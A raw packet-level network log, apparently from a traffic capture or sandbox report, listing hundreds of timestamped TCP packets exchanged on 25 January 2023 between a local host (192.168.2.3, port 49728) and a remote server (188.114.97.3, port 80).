Jan 25, 2023 09:42:44.112936020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112966061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112994909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113018990 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113029003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113043070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113044977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113075972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113101006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113106966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113137007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113167048 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113192081 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113194942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113215923 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113224030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113253117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113289118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113306046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113312960 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113334894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113363028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113363028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113383055 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113401890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113415003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113434076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113467932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113475084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113497972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113500118 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113528013 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113555908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113583088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113583088 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113610983 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113620043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113651037 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113670111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113675117 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113702059 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113725901 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113730907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113763094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113780975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113784075 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113811970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113842010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113862991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113871098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113890886 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113899946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113931894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113960981 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.113967896 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.113982916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.114020109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.114027023 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.114036083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.114064932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.114092112 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.114765882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.152801037 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152832985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152853012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152872086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152890921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152909994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152954102 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152968884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152980089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.152983904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153003931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153021097 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153037071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153042078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153042078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153042078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153057098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153076887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153079033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153095961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153106928 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153115988 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153134108 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153139114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153146982 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153158903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153179884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153199911 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153217077 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153223038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153237104 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153243065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153264046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153280973 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153295994 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153314114 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153347015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153369904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153390884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153414011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153424978 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153440952 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153441906 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153455973 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153466940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153479099 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153490067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153501987 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153520107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153520107 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153532028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153541088 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153543949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153556108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153567076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153577089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153588057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153601885 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153604031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153618097 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153625011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153634071 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153646946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153655052 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153667927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153688908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153706074 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153708935 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153736115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153740883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153749943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153770924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153789997 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.153806925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.153821945 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154126883 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154148102 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154170036 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154191971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154208899 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154213905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154232979 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154233932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154254913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154275894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154289961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154295921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154305935 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154316902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154336929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154350042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154356956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154392958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154470921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154505968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154520035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154530048 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154534101 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154550076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154570103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154577971 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154591084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154611111 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154613972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154623985 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154635906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154656887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154678106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154695034 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154711962 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154722929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154747963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154766083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154783964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154818058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154841900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154843092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154869080 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154881001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.154890060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.154939890 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155239105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155265093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155289888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155313969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155324936 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155339956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155350924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155364037 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155390024 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155416012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155426979 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155441046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155443907 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155462980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155492067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155498028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155525923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155539036 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155549049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155560970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155571938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155580997 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155590057 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155602932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155606985 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155622959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155623913 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155644894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155666113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155673981 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155687094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155705929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155726910 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155735970 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155746937 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155760050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.155764103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.155803919 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156065941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156088114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156109095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156132936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156146049 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156147003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156167030 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156167984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156188965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156202078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156209946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156230927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156250000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156261921 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156270981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156279087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156300068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156316042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156327963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156338930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156352043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156358957 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156363964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156374931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156374931 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156380892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156393051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156402111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156424999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156424999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156441927 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156445026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156467915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156474113 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156487942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156507015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156527042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156539917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156559944 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.156560898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156572104 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.156620026 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157001019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157022953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157042980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157064915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157087088 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157100916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157114029 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157114029 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157126904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157139063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157149076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157154083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157160044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157172918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157177925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157183886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157196045 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157196045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157207966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157217979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157232046 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157239914 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157260895 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157262087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157275915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157279015 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157294035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157314062 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157650948 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157671928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157692909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157706022 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157715082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157727957 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157735109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157756090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157766104 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157788038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157800913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157813072 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157815933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157826900 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157845020 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157847881 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157860994 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157870054 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157888889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157902956 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157911062 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157931089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157952070 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157958031 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157972097 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.157979965 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.157991886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158013105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158034086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158066034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158066988 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158067942 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158077002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158088923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158099890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158109903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158127069 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158143997 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158159971 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158534050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158555984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158576012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158596039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158617020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158633947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158638000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158657074 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158669949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158682108 CET	80	49728	188.114.97.3	192.168.2.3
